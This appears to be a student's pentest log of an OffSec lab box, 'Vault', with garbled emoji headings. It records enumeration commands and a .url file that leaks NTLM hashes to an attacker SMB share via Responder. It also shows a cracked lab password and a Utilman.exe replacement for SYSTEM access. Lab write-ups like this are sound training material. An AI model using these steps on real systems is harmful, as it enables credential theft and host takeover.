Vault

๐Ÿงช Pentest Log: {{date:2025-08-04}}

๐Ÿ” Target Information

ip=192.168.123.172

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 53

dig any vault.offsec @$ip

dig AXFR @$ip 

Port 135, 593

rpcclient -U '' -N $ip

Port 139, 445

smbclient -L \\\\$ip\\

enum4linux -a $ip

Port 389, 636, 3268, 3269

ldapsearch -H ldap://$ip -x -s base namingcontexts

ldapsearch -H ldap://$ip -x -b"DC=hutch,DC=offsec" > ldap_dump.txt

Port 3389

Port 5985

๐Ÿ’ฃ Exploitation / Foothold

Tool / Script Used:

put evil.url

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\192.168.45.163\%USERNAME%.icon
IconIndex=1

sudo responder -I tun0 -wv

recieved anirudh's hash, crack it with john

anirudh:SecureHM

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Access Tokens

whoami /priv

found current user has SeRestore privilege on

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

.\EnableSeRestorePrivilege.ps1

mv C:\\Windows\\System32\\Utilman.exe C:\\Windows\\System32\\Utilman.old

mv cmd.exe Utilman.exe

rdesktop -0 192.168.123.165

press win+U